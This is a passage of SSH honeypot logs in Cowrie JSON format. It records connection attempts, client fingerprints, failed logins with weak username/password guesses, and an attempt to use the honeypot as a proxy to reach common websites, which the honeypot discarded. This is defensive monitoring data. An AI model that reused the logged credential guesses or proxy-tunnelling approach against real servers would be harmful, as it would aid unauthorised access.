@\\xd7i\\x89\\xdf\\x96I\\x95M\\n\\xb9\\xa6V5\\x80\\x86\\x82\\x84\\xb7\"\\x13z\\xf5n\\xf4\\xe0\\x95\\x11\\xacn\\xaf\\xc4\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 ]\\x8f%5\\x15\\xaa\\xd7\\xcf\\xb2\\xb4\\x85r\\x9b\\xaa!J\\xa2\\xcc)\\xe6.\\x1e\\xbe\\x0e\\xc2\\x97\\xca\\x05\\x01\\xc5\\x97\\x12\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:54:47.196082Z","src_ip":"80.94.95.118","session":"35b0fe06355d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"88.221.168.210","dst_port":443,"src_ip":"80.94.95.118","src_port":36806,"message":"direct-tcp connection request to 88.221.168.210:443 from 127.0.0.1:36806","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:54:58.238654Z","session":"35b0fe06355d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"88.221.168.210","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 88.221.168.210:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:55:01.438833Z","src_ip":"80.94.95.118","session":"35b0fe06355d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"88.221.168.210","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03TS\\x9b4\\x92\\xdc\\x02f\\xa0|\\xf9b\\x19\\xeev\\xb8\\xbf\\xbe\\xb0m\\x92.\\x92\\xeb3|\\xa8;N\\xb0\\xcf{ \\xa9\\x00o\\xff(\\x1f\\xcf\\x9cZ:\\x98x\\x88o\\x008NH\\xb2\\x112\\xe9N\\'T\\x98\\x95\\\\\\x9b\"n\\x8c\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xf6?\\x87>\\x00\\xce\\xf3\\xcbf\\x1f\\x9d\\xcc\\xae\\x81\\x8e)\\x0b\\xe3\\xe1\\x8b1\\xb3\\xd8\\x91]9%-\\xe0\\x1e\\x96\\x07\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 88.221.168.210:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03TS\\x9b4\\x92\\xdc\\x02f\\xa0|\\xf9b\\x19\\xeev\\xb8\\xbf\\xbe\\xb0m\\x92.\\x92\\xeb3|\\xa8;N\\xb0\\xcf{ \\xa9\\x00o\\xff(\\x1f\\xcf\\x9cZ:\\x98x\\x88o\\x008NH\\xb2\\x112\\xe9N\\'T\\x98\\x95\\\\\\x9b\"n\\x8c\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xf6?\\x87>\\x00\\xce\\xf3\\xcbf\\x1f\\x9d\\xcc\\xae\\x81\\x8e)\\x0b\\xe3\\xe1\\x8b1\\xb3\\xd8\\x91]9%-\\xe0\\x1e\\x96\\x07\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:55:01.442849Z","src_ip":"80.94.95.118","session":"35b0fe06355d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.111.32.174","src_port":50514,"dst_ip":"159.203.135.109","dst_port":22,"session":"4c62434d27f8","protocol":"ssh","message":"New connection: 27.111.32.174:50514 (159.203.135.109:22) [session: 4c62434d27f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:55:08.456593Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:55:08.461178Z","src_ip":"27.111.32.174","session":"4c62434d27f8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:55:08.710124Z","src_ip":"27.111.32.174","session":"4c62434d27f8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"216.58.207.68","dst_port":443,"src_ip":"80.94.95.118","src_port":39718,"message":"direct-tcp connection request to 216.58.207.68:443 from 127.0.0.1:39718","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:55:09.210281Z","session":"35b0fe06355d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"md","password":"md","message":"login attempt [md/md] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:55:09.738972Z","src_ip":"27.111.32.174","session":"4c62434d27f8","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"216.58.207.68","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 216.58.207.68:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:55:09.769521Z","src_ip":"80.94.95.118","session":"35b0fe06355d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"216.58.207.68","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbe\\xa4`>\\xc6i\\x13p\\xa3\\xe2m\\xf0\\x00;.\\xdc\\x98\\xad)\\xa1\\xe9wE\\xaf\\x8b&u\\xd54\\xe8e\\xcd \\xf0\\xa6a\\x83,}t\\x1cM_\\x16\\xe7\\xf2\\x1cV89\\x04\\xd5\\x92=\\xe5$\\xfc_\\xc6\\x85\\x16,\\r\\xe4\"\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 T\\x01\\xb3\\x7f\\x95H~\\x98\\xce\\xdb\\x131r\\xf1q\\xce\\x86r\\xadR\\xd2\\x8a\\xfdR\\xbcT\\xc9(\\xab\\x1a\\xbbu\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 216.58.207.68:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xbe\\xa4`>\\xc6i\\x13p\\xa3\\xe2m\\xf0\\x00;.\\xdc\\x98\\xad)\\xa1\\xe9wE\\xaf\\x8b&u\\xd54\\xe8e\\xcd \\xf0\\xa6a\\x83,}t\\x1cM_\\x16\\xe7\\xf2\\x1cV89\\x04\\xd5\\x92=\\xe5$\\xfc_\\xc6\\x85\\x16,\\r\\xe4\"\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 T\\x01\\xb3\\x7f\\x95H~\\x98\\xce\\xdb\\x131r\\xf1q\\xce\\x86r\\xadR\\xd2\\x8a\\xfdR\\xbcT\\xc9(\\xab\\x1a\\xbbu\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:55:09.772743Z","src_ip":"80.94.95.118","session":"35b0fe06355d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:55:10.990897Z","src_ip":"27.111.32.174","session":"4c62434d27f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"38.9","message":"Connection lost after 38.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:55:11.366847Z","src_ip":"80.94.95.118","session":"35b0fe06355d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":45506,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3ba95a30a25","protocol":"ssh","message":"New connection: 195.178.110.218:45506 (159.203.135.109:22) [session: b3ba95a30a25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:55:52.908826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:55:52.913679Z","src_ip":"195.178.110.218","session":"b3ba95a30a25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:55:52.992853Z","src_ip":"195.178.110.218","session":"b3ba95a30a25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:55:53.231060Z","src_ip":"195.178.110.218","session":"b3ba95a30a25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:55:54.312716Z","src_ip":"195.178.110.218","session":"b3ba95a30a25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":49092,"dst_ip":"159.203.135.109","dst_port":22,"session":"f1c2e59735a0","protocol":"ssh","message":"New connection: 193.32.162.145:49092 (159.203.135.109:22) [session: f1c2e59735a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:56:09.222157Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T08:56:09.241428Z","src_ip":"193.32.162.145","session":"f1c2e59735a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-